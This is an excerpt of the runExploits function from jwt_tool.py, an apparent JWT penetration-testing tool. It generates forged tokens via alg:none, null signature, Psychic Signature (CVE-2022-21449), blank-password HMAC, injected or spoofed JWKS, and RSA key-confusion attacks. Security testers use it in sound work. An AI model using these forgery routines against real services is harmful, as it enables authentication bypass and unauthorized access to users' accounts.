Function runExploits

jwt_tool.py:1740–1783

()

def runExploits():
    if args.exploit:
        if args.exploit == "a":
            noneToks = checkAlgNone(headDict, paylB64)
            zippedToks = dict(zip(noneToks, ["\"alg\":\"none\"", "\"alg\":\"None\"", "\"alg\":\"NONE\"", "\"alg\":\"nOnE\""]))
            for noneTok in zippedToks:
                desc = "EXPLOIT: "+zippedToks[noneTok]+" - this is an exploit targeting the debug feature that allows a token to have no signature\n(This will only be valid on unpatched implementations of JWT.)"
                jwtOut(noneTok, "Exploit: "+zippedToks[noneTok], desc)
        elif args.exploit == "n":
            jwtNull = checkNullSig(contents)
            desc = "EXPLOIT: null signature\n(This will only be valid on unpatched implementations of JWT.)"
            jwtOut(jwtNull, "Exploit: Null signature", desc)
        elif args.exploit == "p":
            jwtPsy = checkPsySig(headDict, paylB64)
            desc = "EXPLOIT: Psychic Signature (CVE-2022-21449)\n(This will only be valid on unpatched implementations of JWT.)"
            jwtOut(jwtPsy, "Exploit: Psychic Signature (CVE-2022-21449)", desc)
        elif args.exploit == "b":
            key = ""
            newSig, newContents = signTokenHS(headDict, paylDict, key, 256)
            jwtBlankPw = newContents+"."+newSig
            desc = "EXPLOIT: Blank password accepted in signature\n(This will only be valid on unpatched implementations of JWT.)"
            jwtOut(jwtBlankPw, "Exploit: Blank password accepted in signature", desc)
        elif args.exploit == "i":
            newSig, newContents = jwksEmbed(headDict, paylDict)
            desc = "EXPLOIT: injected JWKS\n(This will only be valid on unpatched implementations of JWT.)"
            jwtOut(newContents+"."+newSig, "Injected JWKS", desc)
        elif args.exploit == "s":
            if config['services']['jwksloc']:
                jku = config['services']['jwksloc']
            else:
                jku = config['services']['jwksdynamic']
            newContents, newSig = exportJWKS(jku)
            if config['services']['jwksloc'] and config['services']['jwksloc'] == args.jwksurl:
                cprintc("Paste this JWKS into a file at the following location before submitting token request: "+jku+"\n(JWKS file used: "+config['crypto']['jwks']+")\n"+str(config['crypto']['jwks'])+"", "cyan")
            desc = "Signed with JWKS at "+jku
            jwtOut(newContents+"."+newSig, "Spoof JWKS", desc)
        elif args.exploit == "k":
            if config['crypto']['pubkey']:
                newTok, newSig = checkPubKeyExploit(headDict, paylB64, config['crypto']['pubkey'])
                desc = "EXPLOIT: Key-Confusion attack (signing using the Public Key as the HMAC secret)\n(This will only be valid on unpatched implementations of JWT.)"
                jwtOut(newTok+"."+newSig, "RSA Key Confusion Exploit", desc)
            else:
                cprintc("No Public Key provided (-pk)\n", "red")
                parser.print_usage()

def runActions():
    if args.tamper: